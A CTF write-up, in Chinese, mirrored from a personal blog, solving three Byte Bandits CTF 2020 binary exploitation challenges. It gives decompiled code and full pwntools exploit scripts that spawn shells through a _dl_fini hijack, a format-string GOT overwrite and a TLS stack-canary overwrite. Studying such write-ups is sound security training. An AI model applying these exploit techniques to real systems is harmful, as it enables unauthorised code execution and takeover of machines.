7

【WriteUp】Byte Bandits CTF 2020 -- Pwn 题解

 2 years ago
source link: https://binlep.github.io/2020/04/13/%E3%80%90WriteUp%E3%80%91Byte%20Bandits%20CTF%202020%20--%20Pwn%20%E9%A2%98%E8%A7%A3/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

write

Description:

You can write,
what can you byte.

nc pwn.byteband.it 9000


Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

main 函数:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
_QWORD *v3; // [rsp+10h] [rbp-20h]
__int64 v4; // [rsp+18h] [rbp-18h]
char s; // [rsp+26h] [rbp-Ah]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]

v6 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
printf("puts: %p\n", &puts, argv);
printf("stack: %p\n", &v4);
while ( 1 )
{
puts("===Menu===");
puts("(w)rite");
puts("(q)uit");
fgets(&s, 2, stdin);
if ( s == 'q' )
break;
if ( s == 'w' )
{
printf("ptr: ", 2LL);
__isoc99_scanf("%lu", &v3);
printf("val: ");
__isoc99_scanf("%lu", &v4);
*v3 = v4;
}
}
exit(0);
}

这题如果用我从 TaQini 师傅那问到的点的话,那考的太偏了

具体的利用在 exit 函数的_dl_fini函数里:

0x7f22d9fdca02 <_dl_fini+98>     lea    rdi, [rip + 0x217f5f] <0x7f22da1f4968>
0x7f22d9fdca09 <_dl_fini+105> call qword ptr [rip + 0x218551] <0x7f22d9c2a440>
rdi: 0x7f22da1f4968 (_rtld_global+2312) ← 0x68732f6e69622f /* '/bin/sh' */
rsi: 0x0
rdx: 0x7f22d9fdc9a0 (_dl_fini) ← push rbp
rcx: 0x1

call qword ptr [rip + 0x218551]_rtld_global上面的地址,rdi 也是用的_rtld_global上面的地址

不同的 ld 对应的_rtld_global不一样,这里我是和远程机子都用的 Ubuntu 18.04 所以直接打通了

后来我试了试 IO FILE 里面绕过 vtable 的两个攻击方法,也可以过

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import binascii

debug = 2
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./write')
else:
p = remote('pwn.byteband.it', 9000)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)


def loop(loop_ptr, loop_val):
p.sendlineafter('(q)uit\n', 'w')
p.sendlineafter('ptr: ', str(loop_ptr))
p.sendlineafter('val: ', str(loop_val))
p.recvuntil('(q)uit\n')


p.recvuntil('puts: ')
addr_puts = int(p.recvuntil('\n')[:-1], 16)
libcbase = addr_puts - libc.sym['puts']
addr_system = libcbase + libc.sym['system']
addr_target = addr_puts + 0x5995a0
addr_rdi = addr_puts + 0x598fa8

loop(addr_rdi, int(binascii.hexlify('/bin/sh'[::-1]), 16))
loop(addr_target, addr_system)
# gdb.attach(p, "b _dl_fini\nc" + "\nsi" * 18)
p.sendlineafter('(q)uit\n', 'q')
p.interactive()

Flag:

flag{imma_da_pwn_mAst3r}

fmt-me

Description:

Format strings are so 2000s.

nc pwn.byteband.it 6969


Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+10h] [rbp-110h]
unsigned __int64 v5; // [rsp+118h] [rbp-8h]

v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
puts("Choose your name");
puts("1. Lelouch 2. Saitama 3. Eren");
printf("Choice: ", 0LL);
if ( get_int() == 2 )
{
puts("Good job. I'll give you a gift.");
read(0, &buf, 0x100uLL);
snprintf(other_buf, 0x100uLL, &buf);
system("echo 'saitama, the real hero'");
}
return 0;
}

get_int 函数如下:

int get_int()
{
char s; // [rsp+0h] [rbp-20h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
fgets(&s, 10, stdin);
return atoi(&s);
}

这题在跟 TaQini 师傅讨论的过程中又学到了一点,在一个函数还没有被 dl 加载的时候,我叫它函数 A

我把 B 函数的 got 表换成 A 函数的 plt + 6 的地址,那么 B 函数就可以通过 dl 加载 plt 所对应的 A 函数的 libc 地址

那么这题就简单了,一开始替换 system 为 main 函数,再把 atoi 函数的 got 表换成 plt_system + 6

那么第二次运行到 atoi 函数时,运行的就是 system 函数了

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./fmt')
else:
p = remote('pwn.byteband.it', 6969)
elf = ELF('./fmt', checksec=False)
got_system = elf.got['system']
got_atoi = elf.got['atoi']
plt_system = elf.plt['system']
addr_main = 0x4011f7

gdb.attach(p, "set follow-fork-mode parent\nb *0x4012D5\nc")
p.sendlineafter('Choice: ', '2')
pd = '%' + str(plt_system + 6) + 'c%17$ln'
pd += '%' + str(addr_main - plt_system - 6) + 'c%16$ln'
pd = pd.ljust(0x50, 'a')
pd += p64(got_system)
pd += p64(got_atoi)
p.sendafter(' gift.\n', pd)
p.sendlineafter('Choice: ', '/bin/sh')
p.interactive()

Flag:

flag{format_string_is_t00_0ld}

look-beyond

Description:

Beyond the Aquila Rift, or is it in between?

nc pwn.byteband.it 8000

Update:

Remote kernel is

Linux 4.15.0-1057-aws #59-Ubuntu SMP Wed Dec 4 10:02:00 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux


Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

main 函数如下:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
unsigned __int64 size; // ST00_8
_BYTE *v4; // ST08_8
void *buf; // ST18_8
char v7; // [rsp+20h] [rbp-30h]
unsigned __int64 v8; // [rsp+48h] [rbp-8h]

v8 = __readfsqword(0x28u);
if ( dword_60107C )
{
if ( dword_60107C == 1 )
{
a2 = (char **)&puts;
printf("puts: %p\n", &puts, a3);
}
}
else
{
setvbuf(stdout, 0LL, 2, 0LL);
a2 = 0LL;
setvbuf(stdin, 0LL, 2, 0LL);
}
printf("size: ", a2);
size = sub_400777(&v7);
v4 = malloc(size);
printf("idx: ", size);
v4[sub_400777(&v7)] = 1;
printf("where: ");
buf = (void *)sub_400777(&v7);
printf("%ld", buf);
read(0, buf, 8uLL);
dword_60107C = 1;
return 0LL;
}

sub_400777 函数如下:

unsigned __int64 __fastcall sub_400777(char *a1)
{
fgets(a1, 8, stdin);
return strtoul(a1, 0LL, 10);
}

这题的利用点来自于 canary 的知识点:tls

程序开始的时候会在 fs 段的 0x28 位置上生成一段随机数,然后将这个随机数存入栈中作为 canary

每次程序结束运行时,将这两个数作异或,两数相同正常退出,不同就进入__stack_chk_fail

我们知道,fs 段靠近 mmap 的地方,那么我们可以先申请堆id大小大于 top_chunk,使其分配到 mmap

然后利用 search 命令搜索 canary 的值所存在的地址,和申请到的 mmap 地址做差即可得到偏移

第二次的偏移经测试要比第一次多加 0x31000

不过这块有一处不太懂,申请的 chunk 如果要更大的话,程序就不给我返回地址了,只有稍微大过 top_chunk 才行

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./chall')
else:
p = remote('pwn.byteband.it', 8000)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./chall', checksec=False)
libc_one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]
got___stack_chk_fail = elf.got['__stack_chk_fail']
addr_main = 0x4007D6

gdb.attach(p, "b *0x4008A9\nc")
p.sendlineafter('size: ', str(0x30000))
p.sendlineafter('idx: ', str(0x324d8))
p.sendafter('where: ', str(got___stack_chk_fail))
p.sendafter(str(got___stack_chk_fail), p64(addr_main))

p.recvuntil('puts: ')
addr_puts = int(p.recvuntil('\n')[:-1], 16)
libcbase = addr_puts - libc.sym['puts']
addr_one_gadget = libcbase + libc_one_gadget[1]
p.sendlineafter('size: ', str(0x30000))
p.sendlineafter('idx: ', str(0x324dc + 0x31000))
p.sendafter('where: ', str(got___stack_chk_fail))
p.sendafter(str(got___stack_chk_fail), p64(addr_one_gadget))
p.interactive()

Flag:

flag{tls_isnt_b1ack_magic}

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK